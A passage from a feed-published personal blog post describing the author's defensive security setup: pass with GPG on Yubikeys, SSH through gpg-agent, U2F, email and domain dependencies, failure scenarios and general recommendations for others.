while configuring the same. As of now, switching between keys is not very
user-friendly, but future
GnuPG versions plan to fix it. The Yubikey holds:
An encryption key
A signing key
An authentication key
I keep a copy of all these keys using
paperkey as per the same guide.
I have a subkey backup as well, since Yubikeys are known to fail4.
SSH
The Authentication key in my Yubikey is configured for SSH. I just need to
ensure that my GPG agent is configured for SSH as well:

export GPG_TTY="$(tty)"
export SSH_AUTH_SOCK=$(gpgconf --list-dirs agent-ssh-socket)
gpgconf --launch gpg-agent


U2F
U2F lets me use a physical key as my second-factor on supported websites (as an
alternative to SMS/TOTP). I configure both of my Yubikeys for U2F wherever
possible (Twitter/AWS are notable exceptions and only support a single key). U2F
support for [OpenSSH][ssh-u2f] is coming soon. So you can soon authenticate to
your server with the Yubikey+PIN, and finish the 2FA with U2F by tapping the
key5.
Root-of-Identity
For most people, the root of identity comes down to ownership of their email
address. As such, it is very often the juiciest target for most attackers. I run
my mail against Migadu, a privacy friendly swiss
email-hosting service. They provide me a management layer for managing my
domains which uses my GMail account. (See FAQ for why). I also have 2FA (TOTP
only) configured on the Migadu management setup.
The domain is currently registered at a Indian registrar (which doesn’t offer
U2F, but I do have TOTP configured). I would have moved this to CloudFlare, but
CloudFlare doesn’t support the .in TLD yet.6
The email address used for registring the domain again is my GMail. My DNS is
configured on CloudFlare, which again uses my GMail and has appropriate 2FA
configured. (It doesn’t support U2F). So here’s the list of critical providers:
Provider
      What can an attacker do
      Auth
      2FA
    
Regisrar/Mitsu
      Change my nameserver, read any future email, reset passwords
      GMail/Password
      TOTP
    
DNS/CloudFlare
      Change my MX records, read any future emails, reset passwords
      GMail/Password
      TOTP
    
Email/Migadu
      Reset my email password, read my current emails, reset passwords
      GMail/Password
      TOTP
    
GMail
      Reset passwords for the above 3 accounts
      Email/Password
      U2F
    
As you can see, I end up trusting GMail a lot here.
Recovery/Backup codes and Security Questions
I use randomly generated UUIDs as answers to security questions. Currently, I’m
storing these for various services within the same password store. As it stands,
I can’t get access to my password OR recovery token without my Yubikey and PIN.
The access Matrix looks like this:
What
      Physical Access
      Additional Authentication
    
Password
      Yubikey
      PIN
    
U2F-2FA
      Yubikey
      Physical touch
    
TOTP
      Phone
      TouchID
    
Recovery Code
      Yubikey
      PIN
    
Security Question answers
      Yubikey
      PIN
    
Failure Scenarios
There are lots of failure scenarios with such a setup, and while I’ve got a
pretty spotless record of not getting hacked - I’m not immune to screwups.
Here’s all the bad things that can happen:
Yubikey failures
If my Yubikey fails (or if I forget its PIN), I can’t access passwords on my
device. I still have access to commonly used passwords and my mail on my phone.
My backup Yubikey is kept safely at my home. If I lose both, I have the paperkey
backup at home (which I should store elsewhere).
Device failures
I have a current version of the password repository against 3 PCs, and a partial
version in my mobile. If all these 4 devices fail at once, I can still clone a
fresh version of the repository with my YubiKey (I would still have GitLab SSH
access). I might need to prepare better for this though, since configuring
GPG-SSH might not always be easy during an incident.
As a alternate scenario, my phone GPG key does have my GitLab password, so I can
clone the repo over HTTPS (with password) if needed.
Circular dependency against GitLab
My GitLab password is randomly generated and stored in the same password store
on GitLab. That is not too big of an issue, because I don’t need the GitLab
password anymore to clone my passwords repo, just my Yubikey (for SSH).
Lost Key
If I lose my key, the GPG card contains public info, including my email address,
which can be used to contact me. I have a [Tile bluetooth tracker][tile] on my
keychain to make it easier for me to find it.
Malware
A hardware key doesn’t protect you from all attacks. At the end of the day, my
passwords must be decrypted by the key and passed unencrypted back to my browser
(or editor). pass for eg, doesn’t protect against memory scraping attacks. If
I edit a password on an infected machine, it gets that password.
If my browser has a malicious extension, it already has keys to the kingdom. But
if I then log into a website, it does get access to that password additionaly.
xkcd 1200 famously illustrates this:

A password vault protected by a hardware key protects against some attacks:
A malicious extension can’t sniff my vault passphrase, since I don’t have one
The key can’t be exfiltrated from hardware.
However, a malware can connect to my authenticated GPG socket, and start
decrypting things. To prevent against that, I run my Yubikey in “touch-only”
mode, so it requires a “physical touch” before it actually does anything, even
if the PIN is cached. Customizability is
dependent on your Yubikey model.
But remember the xkcd warning - if I have a malware running on my device, it is
pretty much game over anyway. pass doesn’t prevent against memory scraping
attacks, and actually uses /dev/shm to store the temporary plain-text files
containing passwords. Ultimately, your identity is as secure as the device you
trust it with.
Improvements
If you have any suggestions for any of the below, I’m
happy to hear them.
Travel Plans
Since my backup key stays at home, how do I deal with long-term travel? This is
something I’m still figuring out. Do I take my backup Yubikey on my
longer-travels? Or should I setup a third-key before I do that? Chances of me
losing both the keys together are quite high, so I’m trying to avoid that.
Domain Ownership
I’d like to transfer my domain to
a registrar that supports U2F, likely
Namecheap since I already own some domains there7. If you use CloudFlare,
they should roll out
U2F support soon.
2FA Recovery Guides
I wish more organizations published what they consider as valid 2FA recovery
mechanisms. GitHub supports 2FA recovery by proof of SSH keys or Personal
Tokens; Migadu just needs a few domain names from your account, and lots of
services require proof-of-identity.
A lot of this is undocumented, and I wish organizations were more public about
this so users can take appropriate measures and understand their risk better.
Fidesmo Card
I’m planning to configure my Fidesmo card against my existing GPG/SSH key, so it
stays in my wallet to improve redundancy. Unfortunately, it is not supported on
iOS, so I plan to get a NFC reader/writer and test that out. This also helps
with travel plans a bit, since I’m less likely to lose my wallet
anecdotally(which also has [a bluetooth tracker][slim]).
U2F on iPhone
U2F support on Mobile Safari is non-existent. Brave recently added support for
the upcoming Yubikey 5Ci, which supports both USB-C and lightning. However, this
requires a special Yubikey SDK, which breaks the idea of U2F being
interoperable. The 5Ci is also quite costly at $70. I don’t know of any
application that is actually supporting GPG-over-Yubikey-over-lightning.
Compare this to Android where NFC based smartcards or Yubikeys just work. I’d
like that to happen with iPhones.
Full Disk Encryption using a Yubikey
It is possible to configure
Full Disk Encryption with Yubikeys,
but I haven’t tried it yet.
2FA on my email account
Migadu currently does not support 2FA on webmail access, just on
manage.migadu.com. This is very unfortunate, but I’m told this is planned soon
(January 2020).
Recovery/Backup codes and Security Questions
My current setup of saving recovery codes alongside passwords isn’t optimal, but
I don’t have a better way either. I’ve considered keeping my recovery codes on a
alternate password store (such as bitwarden, or keypassX), but I’ll have to
memorize the password, and setup a separate 2FA for it to be truly
fault-tolerant.
FAQ
Why do you have stuff configured on your GMail? Aren’t you anti-Google?
Despite all the flak that Google gets for privacy, their security team is pretty
awesome. Your account is pretty much unhackable once you are enrolled into their
Advanced Protection Program. The few security-sensitive places where I use it
are:
Domain Registration
Email Management
DNS Configuration
Everywhere else, I use my actual domain (captnemo.in) to ensure nothing else
routes over GMail. Using GMail for the above 3 ensures that I don’t have a
circular dependency. If I were to lose my main email password, I can recover via
multiple ways:
Change DNS to another email provider.
Reset password via migadu admin panel.
Ensuring that either of these workflows do not rely on the same email account
I’ve just lost access to is vital. Another alternative is to use a
trusted-friend (ideally someone more paranoid than me) as a proxy for these
emails, and use their domain for managing these 2 services. Might get around to
it someday.
My GMail recovery email is set to my main account, so it creates a circular
dependency, but one that I actually want.
What do you recommend I use?
Bitwarden for password management.
2xHyperFIDO Mini U2F Keys configured for second
factor against as many accounts as possible.
U2F is not only safer, but much more convenient than TOTP/SMS based 2FA. For
iPhone/USB-C users, see
the Yubico website.
If you don’t like to pay the USB-C tax, there are cheap
USB-C to miniUSB
adapters that can work with the HyperFIDO key and fit on your keychain. If you
aren’t convinced on why this is a good idea, see
this guide. The
second key is just a backup key, and could be the primary key used by your
spouse, friends or co-workers.
A PIN configured on all your SIMs. Instructions for
iPhone,
Android.
Full-Disk-Encryption on all your devices. Instructions for
Windows,
Mac,
ArchLinux,
Fedora,
Ubuntu.
Use randomly generated passwords everywhere. Trust your password manager on
this.
Setup a PIN on your WhatsApp.
If you own a lot of cryptocurrency, use a hardware wallet and put it in a bank
safe. Have a backup one, in another safe. You can put the PIN for those in
your password store. I haven’t researched enough to suggest you which
wallet(s).
Get a SIM without an Aadhaar, to make SIM-Jacking attackes harder (applies in
India).
Go through securityplanner.org, which gives
you personalized recommendations customized for our risk profile. I agree with
most of their recommendations8
Signup for breach notifications against your email at
https://haveibeenpwned.com/.
If you’d like to get off GMail, pay for FastMail.
Alternatively, if I know you in real-life, I’m happy to host your mail in my
Migadu account. (Only works if you know me well enough to trust me)
Why are you so paranoid?
I work in infosec. Breaking things comes naturally to me, and I plan for
defense-in-depth. Plus, I’d be a terrible security person if I got hacked.
Why not recommend open source keys instead?
Availability is a pain point, especially if you aren’t in the US. Even getting
my hands on a SoloKey was hard, despite backing it on KickStarter.
OnlyKey also makes some claims regarding open source,
but I can’t find their schematics anywhere.
SoloKey is great, and what I’d recommend, but
it doesn’t support OpenPGP yet.
[NitroKey Start][nitrokey-start] is
apparently completely FOSS,
so you might wanna check that.
The HyperFIDO keys are compliant to the U2F/FIDO standards, and I’ve not faced
any issues while using them. They’re cheap and widely available. Unless you need
GPG, go for it.
Thanks to Giridharan, Santosh, and Akshay for reviewing drafts of this
and offering valuable suggesions. If you have any suggestions, happy to hear
them
[passforios]:
  https://mssun.github.io/passforios/
  “Open Source, no-network, minimalist pass client for iOS”
[okc]: https://www.openkeychain.org/
[pass]: https://passwordstore.org
[tile]: https://www.thetileapp.com/en-us/
[slim]:
  https://www.thetileapp.com/en-us/store/tiles/slim
  “I have the older version of the Tile Slim”
[ssh-u2f]:
  https://www.undeadly.org/cgi?action=article;sid=20191115064850
  “Does it really count as 2FA if both your SSH and U2F is the same device?”
[nitrokey-start]: https://shop.nitrokey.com/shop/product/nitrokey-start-6
I moved away from Lastpass after Tavis Ormandy reported a RCE vulnerability
on their browser extension. Their wikipedia page mentions 2 breaches, and 3
security incidents. It has never undergone a security audit (unlike
bitwarden) and is not something I recommend anymore. ↩
The pass-tomb extension bypasses
this limit and encrypts your filenames as well. ↩
I have my own git server configured
as a fallback if it goes down. I ensure the same controls on my Git server
as Gitea, and it runs in my living room. ↩
I lost my previous GPG key because my Yubikey stopped working ↩
The jury is still out on whether this counts as an “independent second
factor”. ↩
The domain is stuck in a legal limbo, because of an
ongoing case between my registrar and NIXI
(which runs the .in registry). If you have any suggestions/ideas, please
reach out. ↩
Namecheap announced
U2F support
in April 2019, and while it was buggy at first, it has definitely improved. ↩
The one major exception is lastpass, which I no longer recommend. ↩]]></description>
            <content:encoded><![CDATA[<p>I upgraded my encryption setup recently, so I thought I should write about it,
just in case it is helpful to someone else. As a security professional, I have a
different threat model from most folks, and as such my setup does involve a bit
more complexity than what I’d recommend to everyone. But if you are an at-risk
individual (journalist, person holding hundreds of bitcoins or other digital
assets, activist) or if you are a linux user with a lot of free time - you might
consider duplicating some of this.</p>

<p><a href="https://captnemo.in/img/full-keychain.jpg"><img src="https://captnemo.in/img/keychain-small.jpg" alt="Header Image of my keychain, with a Tile, Yubikey, USB Disk, and house keys" /></a></p>

<p>I’ll discuss some of the other approaches I’ve considered, and my thought
process around each choice I made. There are general recommendations at the
<a href="#what-do-you-recommend-i-use" title="Yes, you can skip the blog post with this link. I won't mind">bottom of the post</a>.</p>

<h2 id="passwords">Passwords</h2>

<p>I used to be on LastPass till 2017<sup id="fnref:3"><a href="#fn:3" class="footnote" rel="footnote" role="doc-noteref">1</a></sup>, when I migrated to [<code class="language-plaintext highlighter-rouge">pass</code>][pass] (“the
standard unix password manager”). With pass, each password lives inside of a gpg
encrypted file whose filename is the title of the website or resource that
requires the password.</p>

<p><code class="language-plaintext highlighter-rouge">pass</code> automatically manages a git repository for you, which I sync against
GitLab. The one downside of using <code class="language-plaintext highlighter-rouge">pass</code> is that the list of my domains is
visible to my hosting provider. <sup id="fnref:1"><a href="#fn:1" class="footnote" rel="footnote" role="doc-noteref">2</a></sup> In the past, I’ve set this up against
Keybase Encrypted Git (Keybase doesn’t get to see even the file list), and my
own git-server (only I get to see it).</p>

<p>I don’t push it to GitHub, since most of my stuff lives on GitHub anyway, and I
didn’t want to add my passwords there as well. GitLab uptime is decent enough
for my usecase<sup id="fnref:7"><a href="#fn:7" class="footnote" rel="footnote" role="doc-noteref">3</a></sup>. Finally, my GitLab account is fairly locked down with:</p>

<ul>
  <li>zero integrations or third-party apps</li>
  <li>no active personal tokens</li>
  <li>social signin disabled</li>
  <li>only yubikey SSH key configured</li>
</ul>

<h3 id="mobile-passwords">Mobile Passwords</h3>

<p>There are 2 primary considerations I have:</p>

<ol>
  <li>Using <code class="language-plaintext highlighter-rouge">pass</code> involves GPG keys, and I can’t use hardware GPG keys on my
current device (iPhone SE).</li>
  <li>I don’t want to sync all my passwords to my phone. I have a limited number of
applications on my device, and syncing all passwords doesn’t make sense.</li>
</ol>

<p>For the first issue, I am forced to use a PGP key in software on
[passforios][passforios]. If you are on Android, take a look at
[OpenKeychain][okc], and Fidesmo/Yubikey NFC.</p>

<p>For the second issue, I use <code class="language-plaintext highlighter-rouge">pass cp</code>, and the <code class="language-plaintext highlighter-rouge">.gpg-id</code> file, which allows me
to maintain a <code class="language-plaintext highlighter-rouge">mobile-sync</code> directory inside my pass git repository encrypted
against a different key. From the <code class="language-plaintext highlighter-rouge">pass</code> documentation:</p>

<h4 id="password-storegpg-id"><code class="language-plaintext highlighter-rouge">~/.password-store/.gpg-id</code></h4>

<blockquote>
  <p>Contains the default gpg key identification used for encryption and
decryption. Multiple gpg keys may be specified in this file, one per line. If
this file exists in any sub directories, passwords inside those sub
directories are encrypted using those keys. This should be set using the init
command.</p>
</blockquote>

<p>My <code class="language-plaintext highlighter-rouge">~/.password-store/mobile-sync/.gpg-id</code> file holds 2 keys: My main encryption
key, and the key I’ve configured on my phone.</p>

<p>Unfortunately, I haven’t gotten it working well as a git submodule, so I have a
helper script that copies the encrypted password files from <code class="language-plaintext highlighter-rouge">mobile-sync</code>
subdirectory to a different repository (<code class="language-plaintext highlighter-rouge">mobile-passwords.git</code>). The script is
just 2 lines:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">cp</span> <span class="nt">-r</span> ~/.password-store/mobile-sync/<span class="k">*</span>.gpg <span class="nb">.</span>
git-sync
</code></pre></div></div>

<p>It updates the git repository, and runs a sync to push any local changes to my
mobile-passwords repository. I can pull that on my passforios application. I
could also clone the entire repo, but the iOS app doesn’t work nicely with a
single-subdirectory approach.</p>

<h2 id="gpg">GPG</h2>

<p><code class="language-plaintext highlighter-rouge">pass</code> relies on GPG, and as such I require a strong key setup. I have the
following:</p>

<ol>
  <li>2xYubikey 4 (Doesn’t have NFC)</li>
  <li>Fidesmo Smartcard, currently unused</li>
</ol>

<p>Both the Yubikeys are configured against my GPG Encryption key. I carry one of
the Yubikeys on my keyring with me. The backup Yubikey stays at my home.</p>

<p>I followed <a href="https://github.com/drduh/YubiKey-Guide#multiple-keys">this guide</a>
while configuring the same. As of now, switching between keys is not very
user-friendly, but future
<a href="https://dev.gnupg.org/T2291">GnuPG versions plan to fix it</a>. The Yubikey holds:</p>

<ul>
  <li>An encryption key</li>
  <li>A signing key</li>
  <li>An authentication key</li>
</ul>

<p>I keep a copy of all these keys using
<a href="https://wiki.archlinux.org/index.php/Paperkey">paperkey</a> as per the same guide.
I have a subkey backup as well, since Yubikeys are known to fail<sup id="fnref:8"><a href="#fn:8" class="footnote" rel="footnote" role="doc-noteref">4</a></sup>.</p>

<h2 id="ssh">SSH</h2>

<p>The Authentication key in my Yubikey is configured for SSH. I just need to
ensure that my GPG agent is configured for SSH as well:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">export </span><span class="nv">GPG_TTY</span><span class="o">=</span><span class="s2">"</span><span class="si">$(</span><span class="nb">tty</span><span class="si">)</span><span class="s2">"</span>
<span class="nb">export </span><span class="nv">SSH_AUTH_SOCK</span><span class="o">=</span><span class="si">$(</span>gpgconf <span class="nt">--list-dirs</span> agent-ssh-socket<span class="si">)</span>
gpgconf <span class="nt">--launch</span> gpg-agent
</code></pre></div></div>

<h2 id="u2f">U2F</h2>

<p>U2F lets me use a physical key as my second-factor on supported websites (as an
alternative to SMS/TOTP). I configure both of my Yubikeys for U2F wherever
possible (Twitter/AWS are notable exceptions and only support a single key). U2F
support for [OpenSSH][ssh-u2f] is coming soon. So you can soon authenticate to
your server with the Yubikey+PIN, and finish the 2FA with U2F by tapping the
key<sup id="fnref:11"><a href="#fn:11" class="footnote" rel="footnote" role="doc-noteref">5</a></sup>.</p>

<h2 id="root-of-identity">Root-of-Identity</h2>

<p>For most people, the root of identity comes down to ownership of their email
address. As such, it is very often the juiciest target for most attackers. I run
my mail against <a href="https://www.migadu.com">Migadu</a>, a privacy friendly swiss
email-hosting service. They provide me a management layer for managing my
domains which uses my GMail account. (See FAQ for why). I also have 2FA (TOTP
only) configured on the Migadu management setup.</p>

<p>The domain is currently registered at a Indian registrar (which doesn’t offer
U2F, but I do have TOTP configured). I would have moved this to CloudFlare, but
CloudFlare doesn’t support the <code class="language-plaintext highlighter-rouge">.in</code> TLD yet.<sup id="fnref:6"><a href="#fn:6" class="footnote" rel="footnote" role="doc-noteref">6</a></sup></p>

<p>The email address used for registring the domain again is my GMail. My DNS is
configured on CloudFlare, which again uses my GMail and has appropriate 2FA
configured. (It doesn’t support U2F). So here’s the list of critical providers:</p>

<table>
  <thead>
    <tr>
      <th>Provider</th>
      <th>What can an attacker do</th>
      <th>Auth</th>
      <th>2FA</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>Regisrar/Mitsu</td>
      <td>Change my nameserver, read any future email, reset passwords</td>
      <td>GMail/Password</td>
      <td>TOTP</td>
    </tr>
    <tr>
      <td>DNS/CloudFlare</td>
      <td>Change my MX records, read any future emails, reset passwords</td>
      <td>GMail/Password</td>
      <td>TOTP</td>
    </tr>
    <tr>
      <td>Email/Migadu</td>
      <td>Reset my email password, read my current emails, reset passwords</td>
      <td>GMail/Password</td>
      <td>TOTP</td>
    </tr>
    <tr>
      <td>GMail</td>
      <td>Reset passwords for the above 3 accounts</td>
      <td>Email/Password</td>
      <td>U2F</td>
    </tr>
  </tbody>
</table>

<p>As you can see, I end up trusting GMail a lot here.</p>

<h2 id="recoverybackup-codes-and-security-questions">Recovery/Backup codes and Security Questions</h2>

<p>I use randomly generated UUIDs as answers to security questions. Currently, I’m
storing these for various services within the same password store. As it stands,
I can’t get access to my password OR recovery token without my Yubikey and PIN.
The access Matrix looks like this:</p>

<table>
  <thead>
    <tr>
      <th>What</th>
      <th>Physical Access</th>
      <th>Additional Authentication</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>Password</td>
      <td>Yubikey</td>
      <td>PIN</td>
    </tr>
    <tr>
      <td>U2F-2FA</td>
      <td>Yubikey</td>
      <td>Physical touch</td>
    </tr>
    <tr>
      <td>TOTP</td>
      <td>Phone</td>
      <td>TouchID</td>
    </tr>
    <tr>
      <td>Recovery Code</td>
      <td>Yubikey</td>
      <td>PIN</td>
    </tr>
    <tr>
      <td>Security Question answers</td>
      <td>Yubikey</td>
      <td>PIN</td>
    </tr>
  </tbody>
</table>

<h2 id="failure-scenarios">Failure Scenarios</h2>

<p>There are lots of failure scenarios with such a setup, and while I’ve got a
pretty spotless record of not getting hacked - I’m not immune to screwups.
Here’s all the bad things that can happen:</p>

<h3 id="yubikey-failures">Yubikey failures</h3>

<p>If my Yubikey fails (or if I forget its PIN), I can’t access passwords on my
device. I still have access to commonly used passwords and my mail on my phone.
My backup Yubikey is kept safely at my home. If I lose both, I have the paperkey
backup at home (which I should store elsewhere).</p>

<h3 id="device-failures">Device failures</h3>

<p>I have a current version of the password repository against 3 PCs, and a partial
version in my mobile. If all these 4 devices fail at once, I can still clone a
fresh version of the repository with my YubiKey (I would still have GitLab SSH
access). I might need to prepare better for this though, since configuring
GPG-SSH might not always be easy during an incident.</p>

<p>As a alternate scenario, my phone GPG key does have my GitLab password, so I can
clone the repo over HTTPS (with password) if needed.</p>

<h3 id="circular-dependency-against-gitlab">Circular dependency against GitLab</h3>

<p>My GitLab password is randomly generated and stored in the same password store
on GitLab. That is not too big of an issue, because I don’t need the GitLab
password anymore to clone my passwords repo, just my Yubikey (for SSH).</p>

<h3 id="lost-key">Lost Key</h3>

<p>If I lose my key, the GPG card contains public info, including my email address,
which can be used to contact me. I have a [Tile bluetooth tracker][tile] on my
keychain to make it easier for me to find it.</p>

<h3 id="malware">Malware</h3>

<p>A hardware key doesn’t protect you from all attacks. At the end of the day, my
passwords must be decrypted by the key and passed unencrypted back to my browser
(or editor). <code class="language-plaintext highlighter-rouge">pass</code> for eg, doesn’t protect against memory scraping attacks. If
I edit a password on an infected machine, it gets that password.</p>

<p>If my browser has a malicious extension, it already has keys to the kingdom. But
if I then log into a website, it does get access to that password additionaly.</p>

<p>xkcd 1200 famously illustrates this:</p>

<p><a href="https://xkcd.com/1200/"><img src="https://imgs.xkcd.com/comics/authorization_2x.png" alt="xkcd 1200" /></a></p>

<p>A password vault protected by a hardware key protects against some attacks:</p>

<ul>
  <li>A malicious extension can’t sniff my vault passphrase, since I don’t have one</li>
  <li>The key can’t be exfiltrated from hardware.</li>
</ul>

<p>However, a malware can connect to my authenticated GPG socket, and start
decrypting things. To prevent against that, I run my Yubikey in “touch-only”
mode, so it requires a “physical touch” before it actually does anything, even
if the PIN is cached. Customizability is
<a href="https://support.yubico.com/hc/en-us/articles/360016614940-YubiKey-Manager-CLI-ykman-User-Manual">dependent on your Yubikey model</a>.
But remember the xkcd warning - if I have a malware running on my device, it is
pretty much game over anyway. <code class="language-plaintext highlighter-rouge">pass</code> doesn’t prevent against memory scraping
attacks, and actually uses <code class="language-plaintext highlighter-rouge">/dev/shm</code> to store the temporary plain-text files
containing passwords. Ultimately, your identity is as secure as the device you
trust it with.</p>

<h2 id="improvements">Improvements</h2>

<p>If you have any suggestions for any of the below, I’m
<a href="https://captnemo.in/contact">happy to hear them</a>.</p>

<h3 id="travel-plans">Travel Plans</h3>

<p>Since my backup key stays at home, how do I deal with long-term travel? This is
something I’m still figuring out. Do I take my backup Yubikey on my
longer-travels? Or should I setup a third-key before I do that? Chances of me
losing both the keys together are quite high, so I’m trying to avoid that.</p>

<h3 id="domain-ownership">Domain Ownership</h3>

<p>I’d like to transfer my domain to
<a href="https://twofactorauth.org/#domains">a registrar that supports U2F</a>, likely
Namecheap since I already own some domains there<sup id="fnref:5"><a href="#fn:5" class="footnote" rel="footnote" role="doc-noteref">7</a></sup>. If you use CloudFlare,
they should roll out
<a href="https://community.cloudflare.com/t/u2f-for-logins/17583/34">U2F support soon</a>.</p>

<h3 id="2fa-recovery-guides">2FA Recovery Guides</h3>

<p>I wish more organizations published what they consider as valid 2FA recovery
mechanisms. GitHub supports 2FA recovery by proof of SSH keys or Personal
Tokens; Migadu just needs a few domain names from your account, and lots of
services require proof-of-identity.</p>

<p>A lot of this is undocumented, and I wish organizations were more public about
this so users can take appropriate measures and understand their risk better.</p>

<h3 id="fidesmo-card">Fidesmo Card</h3>

<p>I’m planning to configure my Fidesmo card against my existing GPG/SSH key, so it
stays in my wallet to improve redundancy. Unfortunately, it is not supported on
iOS, so I plan to get a NFC reader/writer and test that out. This also helps
with travel plans a bit, since I’m less likely to lose my wallet
anecdotally(which also has [a bluetooth tracker][slim]).</p>

<h3 id="u2f-on-iphone">U2F on iPhone</h3>

<p>U2F support on Mobile Safari is non-existent. Brave recently added support for
the upcoming Yubikey 5Ci, which supports both USB-C and lightning. However, this
requires a special Yubikey SDK, which breaks the idea of U2F being
interoperable. The 5Ci is also quite costly at $70. I don’t know of any
application that is actually supporting GPG-over-Yubikey-over-lightning.</p>

<p>Compare this to Android where NFC based smartcards or Yubikeys just work. I’d
like that to happen with iPhones.</p>

<h3 id="full-disk-encryption-using-a-yubikey">Full Disk Encryption using a Yubikey</h3>

<p>It is possible to configure
<a href="https://github.com/agherzan/yubikey-full-disk-encryption">Full Disk Encryption with Yubikeys</a>,
but I haven’t tried it yet.</p>

<h3 id="2fa-on-my-email-account">2FA on my email account</h3>

<p>Migadu currently <em>does not support 2FA on webmail access</em>, just on
<code class="language-plaintext highlighter-rouge">manage.migadu.com</code>. This is very unfortunate, but I’m told this is planned soon
(January 2020).</p>

<h3 id="recoverybackup-codes-and-security-questions-1">Recovery/Backup codes and Security Questions</h3>

<p>My current setup of saving recovery codes alongside passwords isn’t optimal, but
I don’t have a better way either. I’ve considered keeping my recovery codes on a
alternate password store (such as bitwarden, or keypassX), but I’ll have to
memorize the password, and setup a separate 2FA for it to be truly
fault-tolerant.</p>

<h2 id="faq">FAQ</h2>

<h3 id="why-do-you-have-stuff-configured-on-your-gmail-arent-you-anti-google">Why do you have stuff configured on your GMail? Aren’t you anti-Google?</h3>

<p>Despite all the flak that Google gets for privacy, their security team is pretty
awesome. Your account is pretty much unhackable once you are enrolled into their
Advanced Protection Program. The few security-sensitive places where I use it
are:</p>

<ol>
  <li>Domain Registration</li>
  <li>Email Management</li>
  <li>DNS Configuration</li>
</ol>

<p>Everywhere else, I use my actual domain (<code class="language-plaintext highlighter-rouge">captnemo.in</code>) to ensure nothing else
routes over GMail. Using GMail for the above 3 ensures that I don’t have a
circular dependency. If I were to lose my main email password, I can recover via
multiple ways:</p>

<ol>
  <li>Change DNS to another email provider.</li>
  <li>Reset password via migadu admin panel.</li>
</ol>

<p>Ensuring that either of these workflows do not rely on the same email account
I’ve just lost access to is vital. Another alternative is to use a
trusted-friend (ideally someone more paranoid than me) as a proxy for these
emails, and use their domain for managing these 2 services. Might get around to
it someday.</p>

<p>My GMail recovery email is set to my main account, so it creates a circular
dependency, but one that I actually want.</p>

<h3 id="what-do-you-recommend-i-use">What do you recommend I use?</h3>

<ul>
  <li><a href="https://bitwarden.com/">Bitwarden</a> for password management.</li>
  <li>2x<a href="https://amzn.to/2ZHMDZU">HyperFIDO Mini U2F</a> Keys configured for second
factor <a href="https://www.dongleauth.com/">against as many accounts as possible</a>.
U2F is not only safer, but much more convenient than TOTP/SMS based 2FA. For
iPhone/USB-C users, see
<a href="https://www.yubico.com/products/compare-yubikey-5-series/">the Yubico website</a>.
If you don’t like to pay the USB-C tax, there are cheap
<a href="https://www.aliexpress.com/item/4000077099764.html">USB-C to miniUSB</a>
adapters that can work with the HyperFIDO key and fit on your keychain. If you
aren’t convinced on why this is a good idea, see
<a href="https://techsolidarity.org/resources/security_key_faq.htm">this guide</a>. The
second key is just a backup key, and could be the primary key used by your
spouse, friends or co-workers.</li>
  <li>A PIN configured on all your SIMs. Instructions for
<a href="https://support.apple.com/en-us/HT201529">iPhone</a>,
<a href="https://support.t-mobile.com/docs/DOC-41621">Android</a>.</li>
  <li>Full-Disk-Encryption on all your devices. Instructions for
<a href="https://securityplanner.org/#/tool/windows-encryption">Windows</a>,
<a href="https://securityplanner.org/#/tool/mac-encryption">Mac</a>,
<a href="https://wiki.archlinux.org/index.php/Dm-crypt/Encrypting_an_entire_system">ArchLinux</a>,
<a href="https://fedoraproject.org/wiki/Disk_Encryption_User_Guide">Fedora</a>,
<a href="https://help.ubuntu.com/community/Full_Disk_Encryption_Howto_2019">Ubuntu</a>.</li>
  <li>Use randomly generated passwords everywhere. Trust your password manager on
this.</li>
  <li><a href="https://faq.whatsapp.com/en/android/26000021">Setup a PIN on your WhatsApp</a>.</li>
  <li>If you own a lot of cryptocurrency, use a hardware wallet and put it in a bank
safe. Have a backup one, in another safe. You can put the PIN for those in
your password store. I haven’t researched enough to suggest you which
wallet(s).</li>
  <li>Get a SIM without an Aadhaar, to make SIM-Jacking attackes harder (applies in
India).</li>
  <li>Go through <a href="https://securityplanner.org/">securityplanner.org</a>, which gives
you personalized recommendations customized for our risk profile. I agree with
most of their recommendations<sup id="fnref:10"><a href="#fn:10" class="footnote" rel="footnote" role="doc-noteref">8</a></sup></li>
  <li>Signup for breach notifications against your email at
<a href="https://haveibeenpwned.com/">https://haveibeenpwned.com/</a>.</li>
  <li>If you’d like to get off GMail, pay for <a href="https://www.fastmail.com/">FastMail</a>.
Alternatively, if I know you in real-life, I’m happy to host your mail in my
Migadu account. (Only works if you know me well enough to trust me)</li>
</ul>

<h3 id="why-are-you-so-paranoid">Why are you so paranoid?</h3>

<p>I work in infosec. Breaking things comes naturally to me, and I plan for
defense-in-depth. Plus, I’d be a terrible security person if I got hacked.</p>

<h3 id="why-not-recommend-open-source-keys-instead">Why not recommend open source keys instead?</h3>

<p>Availability is a pain point, especially if you aren’t in the US. Even getting
my hands on a SoloKey was hard, despite backing it on KickStarter.</p>

<ul>
  <li><a href="https://onlykey.io">OnlyKey</a> also makes some claims regarding open source,
but I can’t find their schematics anywhere.</li>
  <li><a href="https://solokeys.com/">SoloKey</a> is great, and what I’d recommend, but
<a href="https://github.com/solokeys/solo/issues/16">it doesn’t support OpenPGP yet</a>.</li>
  <li>[NitroKey Start][nitrokey-start] is
<a href="https://news.ycombinator.com/item?id=21884930">apparently completely FOSS</a>,
so you might wanna check that.</li>
</ul>

<p>The HyperFIDO keys are compliant to the U2F/FIDO standards, and I’ve not faced
any issues while using them. They’re cheap and widely available. Unless you need
GPG, go for it.</p>

<hr />

<p><small>Thanks to Giridharan, Santosh, and Akshay for reviewing drafts of this
and offering valuable suggesions. If you have any suggestions, happy to <a href="https://captnemo.in/contact/">hear
them</a></small></p>

<hr />

<p>[passforios]:
  https://mssun.github.io/passforios/
  “Open Source, no-network, minimalist pass client for iOS”
[okc]: https://www.openkeychain.org/
[pass]: https://passwordstore.org
[tile]: https://www.thetileapp.com/en-us/
[slim]:
  https://www.thetileapp.com/en-us/store/tiles/slim
  “I have the older version of the Tile Slim”
[ssh-u2f]:
  https://www.undeadly.org/cgi?action=article;sid=20191115064850
  “Does it really count as 2FA if both your SSH and U2F is the same device?”
[nitrokey-start]: https://shop.nitrokey.com/shop/product/nitrokey-start-6</p>

<div class="footnotes" role="doc-endnotes">
  <ol>
    <li id="fn:3">

      <p>I moved away from Lastpass after Tavis Ormandy reported a RCE vulnerability
on their browser extension. Their wikipedia page mentions 2 breaches, and 3
